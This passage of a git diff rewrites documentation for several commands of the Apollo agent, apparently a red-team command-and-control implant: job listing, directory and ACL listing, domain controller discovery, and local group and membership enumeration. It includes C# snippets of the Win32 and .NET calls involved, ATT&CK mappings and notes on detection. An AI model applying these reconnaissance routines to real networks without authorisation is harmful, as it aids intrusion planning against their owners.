Considerations + +The command is optimized for efficient operation in production environments: + +#### Agent Performance +* **Minimal Overhead**: Task enumeration operates with minimal performance impact +* **Non-Blocking Operation**: Does not interfere with other executing tasks +* **Memory Efficiency**: Uses efficient data structures for task ID management + +#### Server Performance +* **Batched RPC Calls**: Processes multiple job queries efficiently +* **Response Caching**: Leverages Mythic's caching mechanisms where appropriate +* **Asynchronous Processing**: Uses async/await patterns for optimal server resource utilization + +#### Browser Performance +* **Efficient Rendering**: Uses optimized table rendering for large job lists +* **Progressive Loading**: Supports incremental updates for long-running operations +* **Memory Management**: Properly manages DOM elements and event handlers + +### 8. Security Considerations + +The command implements several security measures: + +#### Information Disclosure Control +* **Operator Visibility**: Only displays jobs for the current callback/agent +* **Parameter Sanitization**: Ensures displayed parameters don't contain sensitive information +* **Access Control**: Inherits access controls from the parent Mythic session + +#### Audit Trail Integration +* **Command Logging**: All `jobs` command executions are logged in Mythic's audit system +* **Operator Attribution**: Maintains clear records of who executed job monitoring commands +* **Timestamp Tracking**: Records precise timing information for security analysis + +## MITRE ATT&CK Mapping +- **T1057** - Process Discovery +- **T1082** - System Information Discovery + +## Technical Deep Dive + +### Task Manager Architecture + +The Apollo agent's task manager maintains a sophisticated internal state system: + +#### Task Lifecycle Management +```csharp +public string[] GetExecutingTaskIds() +{ + return _executingTasks.Keys.ToArray(); +} +``` + +* **Concurrent Collections**: Uses thread-safe data structures for task tracking +* **State Transitions**: Maintains accurate state information throughout task lifecycles +* **Resource Management**: Properly manages system resources associated with each task + +#### Task Identification System +* **Agent Task IDs**: Uses agent-specific identifiers for internal tracking +* **Mythic Task IDs**: Maintains mapping to Mythic's task identification system +* **Display IDs**: Provides human-readable identifiers for operator convenience + +### Mythic RPC System Integration + +The command leverages Mythic's comprehensive RPC system: + +#### Task Search Mechanism +```python +SearchAgentTaskID=job +``` + +* **Efficient Queries**: Uses indexed searches for rapid task information retrieval +* **Metadata Access**: Provides access to comprehensive task metadata +* **Cross-Reference Capability**: Enables correlation between agent and server task records + +#### Response Creation System +```python +await SendMythicRPCResponseCreate(MythicRPCResponseCreateMessage( + TaskID=task.Task.ID, + Response=json.dumps(jobs).encode() +)) +``` + +* **Structured Responses**: Creates properly formatted response messages +* **Encoding Standards**: Uses consistent encoding for data transmission +* **Message Routing**: Ensures responses are properly routed to requesting operators + +### Browser Interface Technology Stack + +The browser interface utilizes modern web technologies: + +#### Table Rendering System +* **Virtual Scrolling**: Supports efficient rendering of large job lists +* **Interactive Elements**: Provides clickable buttons and sortable columns +* **Responsive Design**: Adapts to various screen sizes and resolutions + +#### Event Handling Architecture +```javascript +"ui_feature": "jobkill", +"parameters": jinfo["agent_task_id"] +``` + +* **Event Delegation**: Uses efficient event handling patterns +* **Parameter Binding**: Automatically binds appropriate parameters to UI elements +* **Action Routing**: Routes user actions to appropriate command handlers + +## APIs Used and Their Purposes +| API/Method | Purpose | Layer | Documentation | +|------------|---------|-------|---------------| +| `GetExecutingTaskIds()` | Retrieve active task identifiers | Agent (C#) | Apollo Task Manager | +| `SendMythicRPCTaskSearch()` | Query task metadata | Server (Python) | Mythic RPC Documentation | +| `SendMythicRPCResponseCreate()` | Create structured response | Server (Python) | Mythic RPC Documentation | +| `JSON.parse()` | Parse server response | Browser (JS) | MDN Web Docs | +| `CreateTaskResponse()` | Generate agent response | Agent (C#) | Apollo Framework | + +## Security Considerations + +### Information Security +1. **Task Isolation**: Jobs from different callbacks are properly isolated +2. **Parameter Sanitization**: Command parameters are sanitized before display +3. **Access Control**: Operator access controls are enforced throughout the chain + +### Operational Security +1. **Audit Logging**: All command executions are properly logged +2. **Session Management**: Commands are properly associated with operator sessions +3. **Error Information**: Error messages don't reveal sensitive system information + +### Performance Security +1. **Resource Limits**: Command execution respects system resource limits +2. **Denial of Service Protection**: Large job lists are handled gracefully +3. **Memory Management**: Proper cleanup prevents memory leaks + +## Limitations + +1. **Snapshot Nature**: Provides a point-in-time view of active jobs +2. **Update Frequency**: Does not provide real-time updates without re-execution +3. **Task Visibility**: Only shows tasks managed by the Apollo task manager +4. **Display Limits**: Browser interface may have practical limits for very large job lists +5. **Network Dependency**: Requires active C2 communication for operation + +## Troubleshooting + +### Common Issues and Solutions + +#### Empty Job List When Tasks Are Running +**Symptoms**: The `jobs` command returns an empty list despite other commands running + +**Possible Causes**: +- Task manager not properly tracking tasks +- RPC communication failure +- Agent/server synchronization issues + +**Solutions**: +- Restart the agent if possible +- Check Mythic server logs for RPC errors +- Verify callback communication status + +#### Kill Buttons Not Working +**Symptoms**: Kill buttons appear but don't terminate jobs + +**Possible Causes**: +- Jobkill command not available +- Permission issues +- Task in non-killable state + +**Solutions**: +- Verify jobkill command is loaded +- Check operator permissions +- Review task documentation for kill limitations + +#### Incomplete Job Information +**Symptoms**: Some job details are missing or show as empty + +**Possible Causes**: +- RPC timeout issues +- Database inconsistencies +- Partial task metadata + +**Solutions**: +- Re-run the jobs command +- Check Mythic database integrity +- Review server performance metrics + +## References + +- [Mythic Agent Development](https://docs.mythic-c2.net/) +- [Apollo Agent Documentation](https://github.com/MythicAgents/Apollo) +- [Mythic RPC System](https://docs.mythic-c2.net/customizing/c2-related-development/c2-profile-code/agent-side-coding/action-complete_task) +- [JavaScript Table Rendering](https://docs.mythic-c2.net/customizing/browser-scripts/browserscript-function) +- [Task Management Best Practices](https://docs.mythic-c2.net/customizing/payload-type-development) \ No newline at end of file diff --git a/documentation-payload/apollo/commands/ls.md b/documentation-payload/apollo/commands/ls.md index 939a98f1..22d6c7cf 100644 --- a/documentation-payload/apollo/commands/ls.md +++ b/documentation-payload/apollo/commands/ls.md @@ -6,18 +6,41 @@ hidden = false +++ ## Summary -List files and folders in a specified directory. This will also populate Mythic's file browser cache. +Lists files and directories in a specified path, including file permissions, timestamps, and extended attributes. Supports both local and UNC paths with concurrent file processing and chunked responses. -### Arguments (Positional) -#### path -Specify what path you want to list the contents of. If not specified, this will default to the current working directory. This parameter also accepts UNC paths, such as `\\DC01\C$` +- **Needs Admin:** False +- **Version:** 3 +- **Author:** @djhohnstein + +### Arguments +- **path** (String) - Directory or file path to list (defaults to current directory). Supports UNC paths like `\\DC01\C$` ## Usage ``` ls [path] +ls \\DC01\C$ +``` + +**Raw Output:** +```json +{ + "host": "CLIENT01", + "is_file": false, + "name": "Users", + "parent_path": "C:\\", + "files": [ + { + "name": "Administrator", + "size": 0, + "is_file": false, + "permissions": [...], + "creation_date": "2023-01-01T12:00:00Z" + } + ] +} ``` -## Example +**Formatted Output:** ![ls from command line](../images/ls01.png) When clicking on the three-users icon under the "Permissions" tab, you'll see the associated ACLs for that file. @@ -28,8 +51,227 @@ This command is also integrated into the Mythic file browser. ![File browser](../images/filebrowser.png) +## Detailed Summary + +### Agent Execution Flow + +#### 1. Parameter Processing +```csharp +[DataContract] +internal struct LsParameters +{ + [DataMember(Name = "host")] + public string Host; + [DataMember(Name = "path")] + public string Path; +} + +LsParameters parameters = _jsonSerializer.Deserialize(_data.Parameters); +``` +- Deserializes path and optional host parameters +- Handles localhost aliases (localhost, 127.0.0.1, COMPUTERNAME) +- Constructs UNC path when host specified + +#### 2. Path Resolution +```csharp +string uncPath = string.IsNullOrEmpty(host) ? parameters.Path : $@"\\{host}\{parameters.Path}"; +if (ApolloInterop.Utils.PathUtils.TryGetExactPath(uncPath, out uncPath)) +{ + // Path resolution successful +} +``` +- Builds UNC path format for remote hosts +- Uses `TryGetExactPath` for case-sensitive path resolution +- Defaults to current directory if no path specified + +#### 3. Host Detection +```csharp +if (string.IsNullOrEmpty(host)) +{ + string cwd = System.IO.Directory.GetCurrentDirectory().ToString(); + if (cwd.StartsWith("\\\\")) + { + var hostPieces = cwd.Split('\\'); + host = hostPieces[2]; + } else + { + host = Environment.GetEnvironmentVariable("COMPUTERNAME"); + } +} +``` +- Automatically detects host from current working directory +- Extracts hostname from UNC paths +- Falls back to local computer name + +#### 4. File vs Directory Handling + +##### Single File Processing +```csharp +if (File.Exists(uncPath)) +{ + var tmp = new FileInfo(uncPath); + FileInformation finfo = new FileInformation(tmp, null); + results.IsFile = true; + results.Permissions = GetPermissions(tmp); +} +``` +- Creates `FileInfo` object for single file +- Extracts file metadata and permissions +- Sets `IsFile` flag in response + +##### Directory Processing +```csharp +if (Directory.Exists(uncPath)) +{ + DirectoryInfo dinfo = new DirectoryInfo(uncPath); + string[] directories = Directory.GetDirectories(uncPath); + string[] dirFiles = Directory.GetFiles(uncPath); + + TT.ParallelOptions po = new TT.ParallelOptions(); + po.MaxDegreeOfParallelism = 2; + TT.Parallel.ForEach(directories, po, (dir) => { + // Process directories concurrently + }); +} +``` +- Enumerates subdirectories and files separately +- Uses parallel processing with degree of parallelism = 2 +- Processes directories and files concurrently + +#### 5. Permission Extraction +```csharp +private static ACE[] GetPermissions(FileInfo fi) +{ + List permissions = new List(); + FileSecurity fsec = fi.GetAccessControl(AccessControlSections.Access); + foreach (FileSystemAccessRule FSAR in fsec.GetAccessRules(true, true, typeof(System.Security.Principal.NTAccount))) + { + var tmp = GetAceInformation(FSAR); + permissions.Add(tmp); + } + return permissions.ToArray(); +} +``` +- Retrieves file security descriptor using `GetAccessControl` +- Extracts Access Control Entries (ACEs) +- Converts to `NTAccount` format for readable names +- Handles both files and directories + +#### 6. Chunked Response Processing +```csharp +private class FileDataStream +{ + public ConcurrentQueue FileQueue = new ConcurrentQueue(); + public event EventHandler FileChunkReached; + + public void Add(FileInformation item) + { + FileQueue.Enqueue(item); + if (FileQueue.Count >= _chunkSize) + FileChunkReached?.Invoke(this, null); + } +} +``` +- Uses concurrent queue for thread-safe file collection +- Triggers chunk events when reaching size threshold (10 files) +- Sends intermediate responses for large directories + +### Data Structures + +#### FileInformation +```csharp +struct FileInformation +{ + public string Name; + public long Size; + public bool IsFile; + public string FullName; + public DateTime CreationDate; + public DateTime ModifyTime; + public DateTime AccessTime; + public ACE[] Permissions; + public string Owner; +} +``` + +#### ACE (Access Control Entry) +```csharp +struct ACE +{ + public string Account; // User/group name + public string Type; // Allow/Deny + public string Rights; // File system rights + public bool IsInherited; // Inherited from parent +} +``` + +#### FileBrowser Response +```csharp +struct FileBrowser +{ + public string Host; + public bool IsFile; + public string Name; + public string ParentPath; + public DateTime CreationDate; + public DateTime AccessTime; + public DateTime ModifyTime; + public long Size; + public ACE[] Permissions; + public FileInformation[] Files; + public bool Success; +} +``` + +### Concurrent Processing +- **Parallel Directory Processing**: Processes subdirectories using `Parallel.ForEach` +- **Parallel File Processing**: Processes files concurrently with cancellation support +- **Chunked Responses**: Sends intermediate results for large directories +- **Thread Safety**: Uses `ConcurrentQueue` for thread-safe file collection + +### Error Handling +```csharp +catch (Exception ex) +{ + bRet = false; + errorMessage = $"Failed to get information on directory {uncPath}: {ex.Message}\n\n{ex.StackTrace}"; +} +``` +- Catches permission denied exceptions gracefully +- Provides detailed error messages with stack traces +- Continues processing remaining files on individual failures + +## APIs Used +| API | Purpose | Namespace | +|-----|---------|-----------| +| `File.Exists()` | Check if path is a file | System.IO | +| `Directory.Exists()` | Check if path is a directory | System.IO | +| `FileInfo.GetAccessControl()` | Get file security descriptor | System.IO | +| `DirectoryInfo.GetAccessControl()` | Get directory security descriptor | System.IO | +| `Directory.GetDirectories()` | Enumerate subdirectories | System.IO | +| `Directory.GetFiles()` | Enumerate files | System.IO | +| `Parallel.ForEach()` | Concurrent processing | System.Threading.Tasks | ## MITRE ATT&CK Mapping +- **T1083** - File and Directory Discovery +- **T1106** - Native API + +## Security Considerations +- **Information Disclosure**: Reveals file system structure and permissions +- **Access Patterns**: Creates predictable file access patterns +- **Performance Impact**: Large directories may cause system load +- **Detection Vectors**: File enumeration may trigger security monitoring + +## Limitations +1. Requires read permissions on target directories +2. Large directories may cause performance impact +3. UNC paths require network connectivity and credentials +4. Some system directories may be restricted +5. Parallel processing limited to degree of parallelism = 2 -- T1106 -- T1083 \ No newline at end of file +## Error Conditions +- **Access Denied**: Insufficient permissions for path or individual files +- **Path Not Found**: Specified path doesn't exist +- **Network Unreachable**: UNC path host not accessible +- **Invalid Path**: Malformed or invalid path format +- **Cancellation**: Operation cancelled during processing \ No newline at end of file diff --git a/documentation-payload/apollo/commands/net_dclist.md b/documentation-payload/apollo/commands/net_dclist.md index 3e21053b..a72aba9c 100644 --- a/documentation-payload/apollo/commands/net_dclist.md +++ b/documentation-payload/apollo/commands/net_dclist.md @@ -6,23 +6,177 @@ hidden = false +++ ## Summary -Collect information on domain controllers from the current or a specified domain +Enumerates domain controllers from the current or specified domain using `DomainController.FindAll()`. Retrieves detailed information including IP addresses, OS versions, and Global Catalog status. -### Arguments (Positional) -#### domain (optional) -Specify the domain to collect domain controller information from. This will default to the current domain if one is not supplied. +- **Needs Admin:** False +- **Version:** 2 +- **Author:** @djhohnstein + +### Arguments +- **domain** (Optional String) - Target domain name (defaults to current domain) ## Usage ``` -net_dclist [domain] -``` -Example -``` +net_dclist net_dclist lab.local ``` + +**Raw Output:** +```json +[ + { + "computer_name": "DC01.lab.local", + "ip_address": "192.168.1.10", + "domain": "lab.local", + "forest": "lab.local", + "os_version": "Windows Server 2019", + "global_catalog": true + } +] +``` + +**Formatted Output:** ![net_dclist](../images/net_dclist.png) +## Detailed Summary + +### Agent Execution Flow + +#### 1. Directory Context Creation +```csharp +DirectoryContext ctx; +if (string.IsNullOrEmpty(_data.Parameters)) + ctx = new DirectoryContext(DirectoryContextType.Domain); +else + ctx = new DirectoryContext(DirectoryContextType.Domain, _data.Parameters.Trim()); +``` +- Creates `DirectoryContext` for domain controller enumeration +- Uses current domain context if no domain specified +- Targets specific domain if parameter provided + +#### 2. Domain Controller Discovery +```csharp +DomainControllerCollection dcCollection; +dcCollection = DomainController.FindAll(ctx); +``` +- Uses `DomainController.FindAll()` to discover all domain controllers +- Returns collection of domain controller objects +- Queries Active Directory for controller information + +#### 3. Domain Controller Information Extraction +```csharp +foreach (DomainController dc in dcCollection) +{ + var result = new NetDomainController(); + result.ComputerName = dc.Name; + result.Domain = dc.Domain.ToString(); + result.Forest = dc.Forest.ToString(); + result.OSVersion = dc.OSVersion; + result.IsGlobalCatalog = dc.IsGlobalCatalog(); +} +``` +- Iterates through each discovered domain controller +- Extracts computer name, domain, forest, and OS information +- Determines Global Catalog server status + +#### 4. IP Address Resolution +```csharp +try +{ + var ips = Dns.GetHostAddresses(result.ComputerName); + string ipList = ""; + for (int i = 0; i < ips.Length; i++) + { + if (i == ips.Length - 1) + ipList += $"{ips[i].ToString()}"; + else + ipList += $"{ips[i].ToString()}, "; + } + result.IPAddress = ipList; +} +catch (Exception ex) +{ + result.IPAddress = dc.IPAddress; +} +``` +- Attempts DNS resolution for each domain controller +- Concatenates multiple IP addresses with comma separation +- Falls back to `dc.IPAddress` if DNS resolution fails +- Handles cases where domain controllers have multiple IPs + +#### 5. Response Serialization +```csharp +resp = CreateTaskResponse(_jsonSerializer.Serialize(results.ToArray()), true); +``` +- Serializes domain controller array to JSON +- Returns structured data for browser interface processing + +### Data Structures + +#### NetDomainController +```csharp +struct NetDomainController +{ + public string ComputerName; // DC hostname/FQDN + public string IPAddress; // Comma-separated IP addresses + public string Domain; // Domain name + public string Forest; // Forest name + public string OSVersion; // Operating system version + public bool IsGlobalCatalog; // Global Catalog server flag +} +``` + +### Browser Interface Integration +The JavaScript processes the JSON response into an interactive table with: +- **Shares Button**: Launches `net_shares` command for each DC +- **Copy Icons**: Allows copying computer names and IP addresses +- **Global Catalog Indicator**: Database icon for Global Catalog servers +- **Sortable Columns**: Name, domain, forest, IP, and OS version + +### Domain Controller Properties +- **Computer Name**: Fully qualified domain name of the DC +- **IP Address**: All network interfaces (IPv4/IPv6) +- **Domain**: The domain the DC serves +- **Forest**: The forest the domain belongs to +- **OS Version**: Windows Server version and build +- **Global Catalog**: Whether DC hosts Global Catalog database + +### Active Directory Integration +Uses .NET Framework's `System.DirectoryServices.ActiveDirectory` namespace: +- **DirectoryContext**: Establishes connection context +- **DomainController.FindAll()**: Discovers all domain controllers +- **DomainController Properties**: Accesses DC metadata +- **DNS Resolution**: Resolves hostnames to IP addresses + +## APIs Used +| API | Purpose | Namespace | +|-----|---------|-----------| +| `DirectoryContext` constructor | Create AD connection context | System.DirectoryServices.ActiveDirectory | +| `DomainController.FindAll()` | Discover domain controllers | System.DirectoryServices.ActiveDirectory | +| `DomainController.IsGlobalCatalog()` | Check Global Catalog status | System.DirectoryServices.ActiveDirectory | +| `Dns.GetHostAddresses()` | Resolve hostname to IPs | System.Net | + ## MITRE ATT&CK Mapping +- **T1590** - Gather Victim Network Information + - **T1590.002** - DNS + +## Security Considerations +- **Information Disclosure**: Reveals critical AD infrastructure details +- **Network Reconnaissance**: Provides IP addresses and hostnames +- **Attack Planning**: Enables targeting of high-value domain controllers +- **Detection Vectors**: AD queries may be logged and monitored + +## Limitations +1. Requires domain-joined context or valid credentials +2. May fail if current user lacks domain query permissions +3. DNS resolution dependent on network connectivity +4. Cross-domain queries may require trust relationships +5. Some DC properties may be restricted based on permissions -- T1590 \ No newline at end of file +## Error Conditions +- **Access Denied**: Insufficient permissions to query domain +- **Domain Not Found**: Specified domain doesn't exist or isn't reachable +- **Network Unreachable**: Cannot connect to domain controllers +- **DNS Resolution Failure**: Cannot resolve DC hostnames to IPs +- **Trust Relationship**: Cross-domain queries fail due to trust issues \ No newline at end of file diff --git a/documentation-payload/apollo/commands/net_localgroup.md b/documentation-payload/apollo/commands/net_localgroup.md index 7cd6d774..507c8929 100644 --- a/documentation-payload/apollo/commands/net_localgroup.md +++ b/documentation-payload/apollo/commands/net_localgroup.md @@ -5,28 +5,200 @@ weight = 103 hidden = false +++ -# net_localgroup - ## Summary -Collect information on local groups for a specified computer. +Enumerates local groups on a specified computer using `NetLocalGroupEnum` Win32 API. Retrieves group names, comments, and generates SIDs for each local group. + +- **Needs Admin:** False +- **Version:** 2 +- **Author:** @djhohnstein -### Arguments (Positional) -#### Computer (optional) -Specify the computer to collect group information from. This will default to the localhost if one is not supplied. +### Arguments +- **computer** (Optional String) - Target computer name (defaults to localhost) ## Usage ``` -net_localgroup [computer] -``` -Example -``` +net_localgroup net_localgroup client01.lab.local ``` +**Raw Output:** +```json +[ + { + "computer_name": "CLIENT01", + "group_name": "Administrators", + "comment": "Administrators have complete and unrestricted access", + "sid": "S-1-5-32-544" + } +] +``` + +**Formatted Output:** ![net_localgroup](../images/net_localgroup.png) +## Detailed Summary + +### Agent Execution Flow + +#### 1. API Function Resolution +```csharp +public net_localgroup(IAgent agent, ApolloInterop.Structs.MythicStructs.MythicTask data) : base(agent, data) +{ + _pNetLocalGroupEnum = _agent.GetApi().GetLibraryFunction(Library.SAMCLI, "NetLocalGroupEnum"); + _pNetApiBufferFree = _agent.GetApi().GetLibraryFunction(Library.NETUTILS, "NetApiBufferFree"); +} +``` +- Resolves `NetLocalGroupEnum` from SAMCLI library +- Resolves `NetApiBufferFree` from NETUTILS library +- Uses Apollo's API resolution framework for dynamic loading + +#### 2. Target Computer Determination +```csharp +string serverName = _data.Parameters.Trim(); +if (string.IsNullOrEmpty(serverName)) +{ + serverName = Environment.GetEnvironmentVariable("COMPUTERNAME"); +} +``` +- Uses provided computer name parameter +- Defaults to local computer name if no parameter specified +- Supports both hostname and FQDN formats + +#### 3. Local Group Enumeration +```csharp +res = _pNetLocalGroupEnum(serverName, level, out buffer, MAX_PREFERRED_LENGTH, + out read, out total, ref handle); +``` +- Calls `NetLocalGroupEnum` with level 1 for group information +- Uses `MAX_PREFERRED_LENGTH` (-1) for optimal buffer allocation +- Returns buffer containing group structures and counts + +#### 4. Structure Marshaling and Processing +```csharp +IntPtr ptr = buffer; +for (int i = 0; i < read; i++) +{ + LocalGroupUsersInfo group = (LocalGroupUsersInfo) Marshal.PtrToStructure(ptr, typeof(LocalGroupUsersInfo)); + NetLocalGroup result = new NetLocalGroup(); + result.ComputerName = serverName; + result.GroupName = Marshal.PtrToStringUni(@group.name); + result.Comment = Marshal.PtrToStringUni(@group.comment); + results.Add(result); + ptr = ptr + Marshal.SizeOf(typeof(LocalGroupUsersInfo)); +} +``` +- Iterates through buffer entries using pointer arithmetic +- Marshals each structure from unmanaged memory +- Converts Unicode string pointers to managed strings +- Advances pointer by structure size for next entry + +#### 5. Memory Management +```csharp +finally +{ + if (buffer != IntPtr.Zero) + { + _pNetApiBufferFree(buffer); + } +} +``` +- Ensures buffer cleanup using `NetApiBufferFree` +- Prevents memory leaks from unmanaged allocations +- Uses finally block for guaranteed cleanup + +### Data Structures + +#### LocalGroupUsersInfo (Unmanaged) +```csharp +[StructLayout(LayoutKind.Sequential)] +public struct LocalGroupUsersInfo +{ + public IntPtr name; // Pointer to group name string + public IntPtr comment; // Pointer to group comment string +} +``` + +#### NetLocalGroup (Managed) +```csharp +struct NetLocalGroup +{ + public string ComputerName; // Target computer name + public string GroupName; // Local group name + public string Comment; // Group description + public string SID; // Group security identifier +} +``` + +### Win32 API Integration + +#### NetLocalGroupEnum Function +```csharp +private delegate int NetLocalGroupEnum( + [MarshalAs(UnmanagedType.LPWStr)] string servername, + int dwLevel, + out IntPtr lpBuffer, + int dwMaxLen, + out int dwEntriesRead, + out int dwTotalEntries, + ref IntPtr lpResume); +``` +- **servername**: Target computer name (null for local) +- **dwLevel**: Information level (1 for basic group info) +- **lpBuffer**: Receives pointer to allocated buffer +- **dwMaxLen**: Preferred maximum buffer length (-1 for optimal) +- **dwEntriesRead**: Number of entries returned +- **dwTotalEntries**: Total entries available +- **lpResume**: Resume handle for continuation + +### Browser Interface Integration +The JavaScript processes the JSON response into an interactive table with: +- **Members Button**: Launches `net_localgroup_member` command for each group +- **Copy Icon**: Allows copying group SIDs +- **Sortable Columns**: Name, comment, and SID columns +- **Group Details**: Computer name, group name, comment, and SID + +### Error Handling +```csharp +if (res != 0) +{ + resp = CreateTaskResponse($"Error enumuerating local groups: {res}", true, "error"); +} +``` +- Checks API return code for errors +- Common error codes: + - **5**: Access denied + - **53**: Network path not found + - **1115**: No more entries available + +## APIs Used +| API | Purpose | DLL | +|-----|---------|-----| +| `NetLocalGroupEnum` | Enumerate local groups | samcli.dll | +| `NetApiBufferFree` | Free allocated buffer | netutils.dll | +| `Marshal.PtrToStructure` | Convert unmanaged to managed | mscorlib.dll | +| `Marshal.PtrToStringUni` | Convert Unicode pointer to string | mscorlib.dll | ## MITRE ATT&CK Mapping +- **T1590** - Gather Victim Network Information +- **T1069** - Permission Groups Discovery + - **T1069.001** - Local Groups + +## Security Considerations +- **Information Disclosure**: Reveals local security group structure +- **Privilege Enumeration**: Shows administrative and privileged groups +- **Attack Planning**: Enables targeting of specific privilege groups +- **Detection Vectors**: Local group enumeration may be monitored + +## Limitations +1. Requires network connectivity for remote computers +2. May need administrative privileges for some remote systems +3. Limited to local groups only (not domain groups) +4. Does not show group membership details +5. Subject to Windows security policies and access controls -- T1590 -- T1069 \ No newline at end of file +## Error Conditions +- **Access Denied**: Insufficient privileges to enumerate groups +- **Network Path Not Found**: Target computer unreachable +- **Invalid Computer Name**: Specified computer doesn't exist +- **RPC Server Unavailable**: Remote procedure call failures +- **Buffer Allocation**: Memory allocation failures \ No newline at end of file diff --git a/documentation-payload/apollo/commands/net_localgroup_member.md b/documentation-payload/apollo/commands/net_localgroup_member.md index 541f84b3..f64ffccd 100644 --- a/documentation-payload/apollo/commands/net_localgroup_member.md +++ b/documentation-payload/apollo/commands/net_localgroup_member.md @@ -6,30 +6,230 @@ hidden = false +++ ## Summary -Collect membership of local groups on a specified computer. +Enumerates members of a specified local group using `NetLocalGroupGetMembers` Win32 API. Retrieves member names, SIDs, and distinguishes between user and group members. + +- **Needs Admin:** False +- **Version:** 2 +- **Author:** @djhohnstein ### Arguments +- **computer** (Optional String) - Target computer name (defaults to localhost) +- **group** (String) - Local group name to enumerate members -#### Group +## Usage +``` +net_localgroup_member Administrators +net_localgroup_member client01.lab.local Administrators +``` -Name of group to query for membership. +**Raw Output:** +```json +[ + { + "computer_name": "CLIENT01", + "group_name": "Administrators", + "member_name": "DOMAIN\\alice", + "sid": "S-1-5-21-1234567890-1234567890-1234567890-1001", + "is_group": false + } +] +``` -#### Computer (optional) +**Formatted Output:** +![net_localgroup_member command](../images/net_localgroup_member.png) + +## Detailed Summary -Specify the computer to collect group information from. This will default to the localhost if one is not supplied. +### Agent Execution Flow -## Usage +#### 1. API Function Resolution +```csharp +public net_localgroup_member(IAgent agent, ApolloInterop.Structs.MythicStructs.MythicTask data) : base(agent, data) +{ + _pNetLocalGroupGetMembers = _agent.GetApi().GetLibraryFunction(Library.SAMCLI, "NetLocalGroupGetMembers"); + _pConvertSidToStringSid = _agent.GetApi().GetLibraryFunction(Library.ADVAPI32, "ConvertSidToStringSidA"); + _pNetApiBufferFree = _agent.GetApi().GetLibraryFunction(Library.NETUTILS, "NetApiBufferFree"); +} ``` -net_localgroup_member [computer] [group] +- Resolves `NetLocalGroupGetMembers` from SAMCLI library +- Resolves `ConvertSidToStringSid` from ADVAPI32 library +- Resolves `NetApiBufferFree` from NETUTILS library + +#### 2. Parameter Processing +```csharp +[DataContract] +internal struct NetLocalGroupMemberParameters +{ + [DataMember(Name = "computer")] + public string Computer; + [DataMember(Name = "group")] + public string Group; +} + +NetLocalGroupMemberParameters args = _jsonSerializer.Deserialize(_data.Parameters); +if (string.IsNullOrEmpty(args.Computer)) +{ + args.Computer = Environment.GetEnvironmentVariable("COMPUTERNAME"); +} ``` +- Deserializes computer and group parameters +- Defaults to local computer name if not specified -![net_localgroup_member command](../images/net_localgroup_member.png) +#### 3. Group Member Enumeration +```csharp +int val = _pNetLocalGroupGetMembers(args.Computer, args.Group, 2, out IntPtr bufPtr, -1, out entriesRead, + out totalEntries, ref resumePtr); +``` +- Calls `NetLocalGroupGetMembers` with level 2 for detailed member information +- Uses preferred maximum length (-1) for optimal buffer allocation +- Returns buffer containing member structures and counts +#### 4. Member Structure Processing +```csharp +LocalGroupMembersInfo[] groupMembers = new LocalGroupMembersInfo[entriesRead]; +IntPtr iter = bufPtr; +for (int i = 0; i < entriesRead; i++) +{ + groupMembers[i] = (LocalGroupMembersInfo) Marshal.PtrToStructure(iter, typeof(LocalGroupMembersInfo)); + iter = iter + Marshal.SizeOf(typeof(LocalGroupMembersInfo)); +} +``` +- Creates array to hold member structures +- Iterates through buffer using pointer arithmetic +- Marshals each structure from unmanaged memory + +#### 5. SID Conversion and Member Processing +```csharp +string sidString = ""; +bool bRet = _pConvertSidToStringSid(groupMembers[i].lgrmi2_sid, out sidString); +if (!bRet) + continue; + +var result = new NetLocalGroupMember(); +result.ComputerName = args.Computer; +result.GroupName = args.Group; +result.IsGroup = (groupMembers[i].lgrmi2_sidusage == SidNameUse.SidTypeGroup); +result.SID = sidString; +result.MemberName = Marshal.PtrToStringUni(groupMembers[i].lgrmi2_domainandname); +``` +- Converts binary SID to string representation +- Determines if member is a group or user based on `SidNameUse` +- Extracts domain and name from Unicode string pointer +- Skips members where SID conversion fails + +#### 6. Memory Management +```csharp +if (bufPtr != IntPtr.Zero) +{ + _pNetApiBufferFree(bufPtr); +} +``` +- Frees allocated buffer using `NetApiBufferFree` +- Prevents memory leaks from unmanaged allocations + +### Data Structures + +#### LocalGroupMembersInfo (Unmanaged) +```csharp +[StructLayout(LayoutKind.Sequential)] +public struct LocalGroupMembersInfo +{ + public IntPtr lgrmi2_sid; // Pointer to member SID + public SidNameUse lgrmi2_sidusage; // Type of SID (user/group) + public IntPtr lgrmi2_domainandname; // Pointer to domain\name string +} +``` + +#### NetLocalGroupMember (Managed) +```csharp +struct NetLocalGroupMember +{ + public string ComputerName; // Target computer name + public string GroupName; // Local group name + public string MemberName; // Member domain\name + public string SID; // String representation of SID + public bool IsGroup; // True if member is a group +} +``` + +#### SidNameUse Enumeration +```csharp +public enum SidNameUse +{ + SidTypeUser = 1, + SidTypeGroup, + SidTypeDomain, + SidTypeAlias, + SidTypeWellKnownGroup, + SidTypeDeletedAccount, + SidTypeInvalid, + SidTypeUnknown, + SidTypeComputer, + SidTypeLabel, + SidTypeLogonSession +} +``` + +### Win32 API Integration + +#### NetLocalGroupGetMembers Function +```csharp +private delegate int NetLocalGroupGetMembers( + [MarshalAs(UnmanagedType.LPWStr)] string servername, + [MarshalAs(UnmanagedType.LPWStr)] string localgroupname, + int level, + out IntPtr bufptr, + int prefmaxlen, + out int entriesread, + out int totalentries, + ref IntPtr resume_handle); +``` +- **servername**: Target computer name +- **localgroupname**: Local group to enumerate +- **level**: Information level (2 for detailed member info) +- **bufptr**: Receives buffer pointer +- **prefmaxlen**: Preferred maximum buffer length +- **entriesread**: Number of entries returned +- **totalentries**: Total entries available +- **resume_handle**: Continuation handle + +### Browser Interface Integration +The JavaScript processes the JSON response into an interactive table with: +- **Group Type Column**: Distinguishes between "User" and "Group" members +- **Copy Icons**: Allows copying member names and SIDs +- **Dynamic Title**: Shows group name in table title +- **Member Details**: Computer, group, member name, SID, and type + +## APIs Used +| API | Purpose | DLL | +|-----|---------|-----| +| `NetLocalGroupGetMembers` | Enumerate group members | samcli.dll | +| `ConvertSidToStringSid` | Convert SID to string | advapi32.dll | +| `NetApiBufferFree` | Free allocated buffer | netutils.dll | +| `Marshal.PtrToStructure` | Convert unmanaged to managed | mscorlib.dll | +| `Marshal.PtrToStringUni` | Convert Unicode pointer to string | mscorlib.dll | ## MITRE ATT&CK Mapping +- **T1590** - Gather Victim Network Information +- **T1069** - Permission Groups Discovery + - **T1069.001** - Local Groups -- T1590 -- T1069 +## Security Considerations +- **Privilege Enumeration**: Reveals members of privileged groups +- **User Discovery**: Exposes user accounts with local privileges +- **Attack Planning**: Enables targeting of specific privileged users +- **Detection Vectors**: Group membership enumeration may be monitored -## Detailed Summary -The `net_localgroup_member` command uses 